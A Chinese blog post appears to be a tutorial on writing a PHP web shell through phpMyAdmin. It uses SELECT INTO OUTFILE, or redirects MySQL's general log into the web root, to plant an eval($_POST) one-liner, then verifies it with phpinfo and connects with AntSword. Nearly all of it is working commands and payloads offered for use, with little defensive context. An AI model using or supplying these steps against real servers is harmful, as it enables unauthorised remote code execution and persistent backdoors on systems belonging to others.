phpMyadmin写shell

本文详细介绍了如何通过SQL的select into outfile功能,绕过权限限制,在日志文件中执行PHP代码,进而进行shell植入。步骤包括检查目录权限、开启日志、执行phpinfo验证解析、执行恶意代码,并提供安全风险提示。
摘要由CSDN通过智能技术生成

select into outfile

使用方法

select load_file('C:/phpStudy/WWW/shell.php')
select '<?php eval($_POST[123]); ?>' into outfile 'C:/phpStudy/WWW/shell.php';

1.查看绝对目录

select @@basedir;

查询结果
2.查看写入权限

SHOW VARIABLES LIKE "secure_file_priv";

在这里插入图片描述
NULL表示禁止,无法写入

利用日志写shell

1.搜索日志文件

SHOW VARIABLES LIKE 'general%'

在这里插入图片描述
OFF 表示日志关闭
C:\phpStudy\MySQL\data\stu1.log 为日志绝对路径

可以通过sql语句打开日志,并且自定义日志的目录,这里我们直接放在 C:/phpStudy/WWW/ ,一定要放在解析目录下

2.执行语句

set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/shell.php';

在这里插入图片描述

表示执行成功

3.写入phpinfo查看是否解析

select '<?php phpinfo();?>';

在这里插入图片描述
正常解析
在这里插入图片描述
4.写入简单一句话,使用蚁剑连接即可

select '<?php  eval($_POST[123]);?>';

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值